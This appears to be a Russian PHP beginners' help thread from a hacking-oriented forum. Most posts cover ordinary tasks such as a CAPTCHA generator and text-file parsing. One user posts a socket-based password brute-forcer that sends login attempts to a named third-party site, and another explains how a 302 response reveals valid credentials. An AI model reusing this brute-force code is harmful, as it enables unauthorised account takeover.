[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Если логин или пасс неверен, то в заголовке не выдаётся Location: map.php
    Можно вообще парсить первую строку ответа сервера:

    Пасс и логин верны: HTTP/1.x 302 Found
    Пасс и логин неверны: HTTP/1.x 200 OK
     
    1 person likes this.
  2. DEMOGORGON

    DEMOGORGON New Member

    Joined:
    2 Apr 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Нашёл скрипт для защиты от авторегистрации. Картинку с кодом выводит, а как сделать так, чтобы извлечь сам код не знаю. Может кто подскажет?
    PHP:
    <?php

    // старт сессии 
    session_start();

    // заголовок
    header("Content-type: image/png; charset=windows-1251;");
     
    // создание изображения
    $img = imagecreate(120,60);

    // генерация цвета фона   
    $ren_r = rand(190,255);
    $ren_g = rand(190,255);
    $ren_b = rand(190,255);   

    // настройка цвета фона   
    $slfon = ImageColorAllocate($img, $ren_r, $ren_g, $ren_b);


    //-------------------------------- ШУМЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< 

    // начальное значение циклов
    $i = 1;

    // включение шумов
    $ellipse = 1;
    $rectang = 1;
    $line = 1;
    $pix = 1;

    /* Шум из элипсов */
    if($ellipse) {

    $varelp = rand(5,50); 

     while(++
    $i <= $varelp)
       {
       

    $ren_left = rand(0,150);
    $ren_top = rand(0,60);
    $ren_x_rad = rand(0,150);
    $ren_y_rad = rand(0,60);

    // генирация цвета фона   
    $ren_elp_r = rand(150,225);
    $ren_elp_g = rand(150,225);
    $ren_elp_b = rand(150,225);   

    // настройка цвета фона   
    $elp = ImageColorAllocate($img, $ren_elp_r, $ren_elp_g, $ren_elp_b);

    imageellipse ($img, $ren_left, $ren_top, $ren_x_rad, $ren_y_rad, $elp);

    } 
    }


    /* Шум из прямоугольников */
    if($rectang) {

    $varrect = rand(5,50);  


     while(++
    $i <= $varrect)
       {
       

    $ren_x1_rect = rand(0,120);
    $ren_y1_rect = rand(0,60);
    $ren_x2_rect = rand(0,120);
    $ren_y2_rect = rand(0,60);

    // генирация цвета фона   
    $ren_rect_r = rand(150,225);
    $ren_rect_g = rand(150,225);
    $ren_rect_b = rand(150,225);   

    // настройка цвета фона   
    $rect = ImageColorAllocate($img, $ren_rect_r, $ren_rect_g, $ren_rect_b);

    imagerectangle ($img, $ren_x1_rect, $ren_y1_rect, $ren_x2_rect, $ren_y2_rect, $rect);


    }
    }



    /* Шум из линий */
    if($line) {

    $varline = rand(0,50); 

     while(++
    $i <= $varline)
       {

    $line_x1 = rand(0,120);
    $line_y1 = rand(0,60);
    $line_x2 = rand(0,120);
    $line_y2 = rand(0,60);

    // генирация цвета линий   
    $ren_line_r = rand(0,200);
    $ren_line_g = rand(0,200);
    $ren_line_b = rand(0,200); 
     
    // настройка цвета линий  
    $line_c = ImageColorAllocate($img, $ren_line_r, $ren_line_g, $ren_line_b);

    // настройка цвета линий
    imageline ($img, $line_x1, $line_y1, $line_x2, $line_y2, $line_c);

    }
    }


    /* Шум из пикселей */
    if($pix) {

    $varpix = rand(10,150);

     while(++
    $i <= $varpix)
       {
       
    $pix_x = rand(0,120);
    $pix_y = rand(0,60);

    // генирация цвета линий   
    $ren_pix_r = rand(0,255);
    $ren_pix_g = rand(0,255);
    $ren_pix_b = rand(0,255); 

    // настройка цвета линий  
    $pix_c = ImageColorAllocate($img, $ren_pix_r, $ren_pix_g, $ren_pix_b);
       
    ImageSetPixel($img, $pix_x, $pix_y, $pix_c);

    }
    }


    //-------------------------------- ЦИФРЫ ----------<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

    // генерация чисел на изображении
    $ren_c1 = rand(0,9);
    $ren_c2 = rand(0,9);
    $ren_c3 = rand(0,9);
    $ren_c4 = rand(0,9);
    $ren_c5 = rand(0,9);

    // массив из цифр
    $code_mass = array($ren_c1,$ren_c2,$ren_c3,$ren_c4,$ren_c5);

    // формирование числа
    $code = implode("", $code_mass);

    // запись числа в сессию                 
    $_SESSION['imgcode'] = $code;

    // отпуск от левого края, слова
    $ren_xp = rand(0,5);

    // расстояние между буквами
    $ras_bukv = 21;

    // случайный размер букв
    $ot_fs = 25;
    $do_fs = 30;

    // случайная положение y слова
    $yb_ot = 20;
    $yb_do = 60;

    // генерация цвета текста 1   
    $ren_r_с1 = rand(0,150);
    $ren_g_с1 = rand(0,150);
    $ren_b_с1 = rand(0,150);

    // генерация цвета текста 2   
    $ren_r_с2 = rand(0,150);
    $ren_g_с2 = rand(0,150);
    $ren_b_с2 = rand(0,150);

    // генерация цвета текста 3   
    $ren_r_с3 = rand(0,150);
    $ren_g_с3 = rand(0,150);
    $ren_b_с3 = rand(0,150);

    // генерация цвета текста 4  
    $ren_r_с4 = rand(0,150);
    $ren_g_с4 = rand(0,150);
    $ren_b_с4 = rand(0,150);

    // генерация цвета текста 5   
    $ren_r_с5 = rand(0,150);
    $ren_g_с5 = rand(0,150);
    $ren_b_с5 = rand(0,150);

    // настройка цвета текста
    $c1 = imagecolorallocate ($img, $ren_r_с1, $ren_g_с1, $ren_b_с1);
    $c2 = imagecolorallocate ($img, $ren_r_с2, $ren_g_с2, $ren_b_с2);
    $c3 = imagecolorallocate ($img, $ren_r_с3, $ren_g_с3, $ren_b_с3);
    $c4 = imagecolorallocate ($img, $ren_r_с4, $ren_g_с4, $ren_b_с4);
    $c5 = imagecolorallocate ($img, $ren_r_с5, $ren_g_с5, $ren_b_с5);

    // случайный поворот букв
    $ren_turn1 = rand(-35,35);
    $ren_turn2 = rand(-35,35);
    $ren_turn3 = rand(-35,35);
    $ren_turn4 = rand(-35,35);
    $ren_turn5 = rand(-35,35);

    // случайная положение y буквы
    $ren_ht1 = rand($yb_ot,$yb_do);
    $ren_ht2 = rand($yb_ot,$yb_do);
    $ren_ht3 = rand($yb_ot,$yb_do);
    $ren_ht4 = rand($yb_ot,$yb_do);
    $ren_ht5 = rand($yb_ot,$yb_do);

    // случайная положение x буквы
    $ren_x1 = rand(0 + $ren_xp,$ras_bukv + $ren_xp);
    $ren_x2 = rand($ras_bukv + $ren_xp,$ras_bukv*2 + $ren_xp);
    $ren_x3 = rand($ras_bukv*2 + $ren_xp,$ras_bukv*3 + $ren_xp);
    $ren_x4 = rand($ras_bukv*3 + $ren_xp,$ras_bukv*4 + $ren_xp);
    $ren_x5 = rand($ras_bukv*4 + $ren_xp,$ras_bukv*5 + $ren_xp);

    // случайная размер буквы
    $ren_fase1 = rand($ot_fs,$do_fs);
    $ren_fase2 = rand($ot_fs,$do_fs);
    $ren_fase3 = rand($ot_fs,$do_fs);
    $ren_fase4 = rand($ot_fs,$do_fs);
    $ren_fase5 = rand($ot_fs,$do_fs);

    // массив со шрифтами
    $fonts = array('ARS','BETINA','BRUSHSCR','BASKR_LI');
    $sf = count($fonts);
    $sf = $sf - 1;  

    // случайный шрифт 1 
    $ren_fc1 = rand(0,$sf);
    $ren_font1 = $fonts[$ren_fc1] . ".ttf";

    // случайный шрифт 2
    $ren_fc2 = rand(0,$sf);
    $ren_font2 = $fonts[$ren_fc2] . ".ttf";

    // случайный шрифт 3
    $ren_fc3 = rand(0,$sf);
    $ren_font3 = $fonts[$ren_fc3] . ".ttf";

    // случайный шрифт 4
    $ren_fc4 = rand(0,$sf);
    $ren_font4 = $fonts[$ren_fc4] . ".ttf";

    // случайный шрифт 5
    $ren_fc5 = rand(0,$sf);
    $ren_font5 = $fonts[$ren_fc5] . ".ttf";

    // настройка цифры 1   
    imagettftext ($img, $ren_fase1, $ren_turn1, $ren_x1, $ren_ht1, $c1, $ren_font1, $ren_c1);

    // настройка цифры 2    
    imagettftext ($img, $ren_fase2, $ren_turn2, $ren_x2, $ren_ht2, $c2, $ren_font2, $ren_c2);

    // настройка цифры 3    
    imagettftext ($img, $ren_fase3, $ren_turn3, $ren_x3, $ren_ht3, $c3, $ren_font3, $ren_c3);

    // настройка цифры 4    
    imagettftext ($img, $ren_fase4, $ren_turn4, $ren_x4, $ren_ht4, $c4, $ren_font4, $ren_c4);

    // настройка цифры 5   
    imagettftext ($img, $ren_fase5, $ren_turn5, $ren_x5, $ren_ht5, $c5, $ren_font5, $ren_c5);



    //--------------------------- ВЫВОД ИЗОБРАЖЕНИЯ -----<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

       
    ImageFill($img, 0, 0, $slfon); 
     
    Imagepng($img);

    // разрушение изображения
    ImageDestroy($img);

    ?>
     
  3. Boccob

    Boccob Elder - Старейшина

    Joined:
    4 May 2007
    Messages:
    37
    Likes Received:
    18
    Reputations:
    1
    Код находится в $code.
    Затем загоняется в $_SESSION['imgcode']
    Оттуда и бери.
     
    1 person likes this.
  4. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    "симулирую" многопоточный брут
    PHP:
    <?php

    $max_threads 
    = 5;//Максимальное количество потоков
    set_time_limit(320); // Лимит времени на выполнение. 

    $get_array[0] = "freetest";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
    $get_array[1] = "krakem";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
    $get_array[2] = "ucoz";//Создаем массив в котором будут находится наши данные для каждого запроса. В данном случае в нем просто числа.
    $get_array[3] = "rucoz";
    $get_array_name[0]="ANTICHAT";
    $get_array_name[1]="passwqw";
    $get_array_name[2]="453wccw91";
    $get_array_name[3]="ne2tpass123";

    echo(
    "Всего запросов: " . count($get_array) . "<BR> Поехали! <BR>");

    $sockets = array(); //В этом массиве находятся открытые сокеты
    $done = false;// Флаг $done используется для остановки скрипта после выполнения работы
    $curr = 0; // $curr - будет текущим элементом из всего массива запросов
    while (!$done)
        {
        while ((
    $max_threads > count($sockets)) && ($curr < count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
            
    {
               
    $packet.="POST /enter.php HTTP/1.0\r\n";
            
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
            
    $packet.="Accept-Language: ru\r\n";
            
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
            
    $packet.="Host: web.tak.ru\r\n";
            
    $packet.="Content-Length: 52\r\n";
            
    $packet.="Pragma: no-cache\r\n";
            
    $packet.="Connection: Keep-Alive\r\n\r\n";
            
    $packet.="login=$get_array[$curr]&password=$get_array_name[$curr]&Submit=++OK++&z=enter_form";
        
            
    $errno = 0;
            
    $error = "";
            
    $sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
            
    stream_set_blocking($sockets[$curr], 0);
            
    stream_set_timeout($sockets[$curr], 3600);
            
    fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
            
    echo("Создан сокет: " . $curr . "<br>");
            
    $curr = $curr + 1;// Переходим к следующему элементу массива
            
    }
    sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
    foreach($sockets as $key => $val) 
        {

        
    $temp[$key] = fgets($sockets[$key]); // Получаем данные из текущего сокета [ данных может и не быть ]
        ///echo("Прочитали данные из сокета: " . $key . "<br><textarea>");// Для удобства я поместил их в теги <textarea>
        ///echo($temp . "</textarea><p>");

        
    if (feof($sockets[$key]))// Если данные закончилисть
            
    {
            unset(
    $sockets[$key]); //то удаляем отработавший сокет из массива
            
    echo("Удален сокет: " . $key . "<br>");
            }
       }
    echo(
    "Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>");

    // если нет активных сокетов, то можно выходить
    if (count($sockets) == 0) $done = true;
        }
     for (
    $i=0;$i<5;$i++) 
      {
       if ((
    strpos($temp[$i],"302 Found"))>0) echo " $get_array[$i]  $get_array_name[$i]-- Пароль правильный";
       else echo 
    " $get_array[$i]  $get_array_name[$i]--Не правильный пароль ";
      }

    echo(
    "Конец");

    ?>
    :confused: нипойму почему не работает...и скорость почему такая
     
    #3044 !{ra!{e/\/, 10 May 2008
    Last edited: 10 May 2008
  5. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    С каких пор php стал поддерживать многопоточность?
     
  6. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    поправил "симулирую" многопоточный брут ...
    А собствнно ошибку какую я допустил?
     
  7. Karapuziko

    Karapuziko Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    32
    Likes Received:
    14
    Reputations:
    3
    Снифер тебе в помощь?!!
     
    #3047 Karapuziko, 10 May 2008
    Last edited: 10 May 2008
    2 people like this.
  8. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    скрипт
    PHP:
    <?php
    $f_file
    =file("logins.txt");
    $f_true[0]="fdrucoz";
    echo 
    $f_file[0]." Проверка ".$f_true[0]."<br>";
    if (
    $f_true[0]==$f_file[0]) echo "Они равны";
    else echo 
    "Не равны";
    ?>
    файл
    logins.txt
    Code:
     
    fdrucoz
    fdrucoz1243
    fdrucoz3223
    
    запускаю пишет
    Code:
     
    fdrucoz Проверка fdrucoz
    Не равны
    
    Это как так может быть?
     
  9. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
    <?php 
    $f_file
    =file("logins.txt"); 
    $f_true[0]="fdrucoz"; 

    for(
    $i=0,$cnt=count($f_file);$i<$cnt;$i++)
    {
      
    $f_file[$i]=trim($f_file[$i]);
    }


    echo 
    $f_file[0]." Проверка ".$f_true[0]."<br>"; 
    if (
    $f_true[0]==$f_file[0]) echo "Они равны"; 
    else echo 
    "Не равны"; 
    ?> 
    Функция file() оставляет символы перевода каретки/новой строки в конце каждой переменной.
     
    1 person likes this.
  10. bomber

    bomber New Member

    Joined:
    17 Mar 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    помогите со скриптом, который удалял бы в текстовом файле лишнее после второго - |

    тоисть так допустим есть:

    слово1|слово2|слово3
    слово1|слово2|слово3|слово4

    а нужно чтобы остались только два слова:

    слово1|слово2

    а все лишнее отсекалось
     
  11. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    $str = substr($str, 0, strpos($str, "|", strpos($str, "|")+1));
     
  12. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    bomber,
    PHP:
    $fp = fopen('file', 'r');
    $w = fopen('file_result', 'w');
    while(!
    feof($fp)){
    list(
    $a, $b) = explode('|', $str);
    fwrite($w, "$a|$b\n");
    }
    fclose($fp);
    fclose($w);
     
  13. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    Nightmarе,
    PHP:
    preg_match('/(\w+\:\w+\:\w+\:\w+\:\w+\:\w+)/', exec("ifconfig | grep 'HWaddr'"), $out);
    echo 
    $out[1];
     
    1 person likes this.
  14. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
  15. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    271
    Likes Received:
    65
    Reputations:
    4
    2GreenBear
    fread|fgets забыл :)
    PHP:
    <?php
    $fp 
    = fopen('file.txt', 'r'); 
    $w = fopen('file_result.txt', 'a+'); 
    while(!
    feof($fp))
    { 
    $str = fgets ($fp, 1024);
    list(
    $a, $b) = explode('|', $str); 
    fwrite($w, $a."|".$b."\n"); 
    } 
    fclose($fp); 
    fclose($w); 
    ?>
     
  16. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    function_exists('exec') ? print 'ok' : print 'fail';
    что выведет?
    в ней ведь и так пишется мак . не проще его сразу регуляркой вырезать?
     
  17. bomber

    bomber New Member

    Joined:
    17 Mar 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    чет неидет

    получается бесконечный процеес, где идет постоянная запись символа - | по одному на каждую строчку без $a и $b

    после

    из 300kb вышло - 6mb
     
  18. bomber

    bomber New Member

    Joined:
    17 Mar 2008
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    во, этот заработал!

    теперь бы найти способ удалить пустые строки :(
     
  19. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    PHP:
    <?php
    $fp 
    = fopen('file.txt', 'r'); 
    $w = fopen('file_result.txt', 'a+'); 
    while(!
    feof($fp))
    { 
    $str = fgets ($fp, 1024);
    if (
    trim($str) != '') {
    list(
    $a, $b) = explode('|', $str); 
    fwrite($w, $a."|".$b."\n");
    }
    } 
    fclose($fp); 
    fclose($w); 
    ?>
     
    1 person likes this.
  20. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    if(trim($a.$b) != '') fwrite($w, $a."|".$b."\n");
     
Thread Status:
Not open for further replies.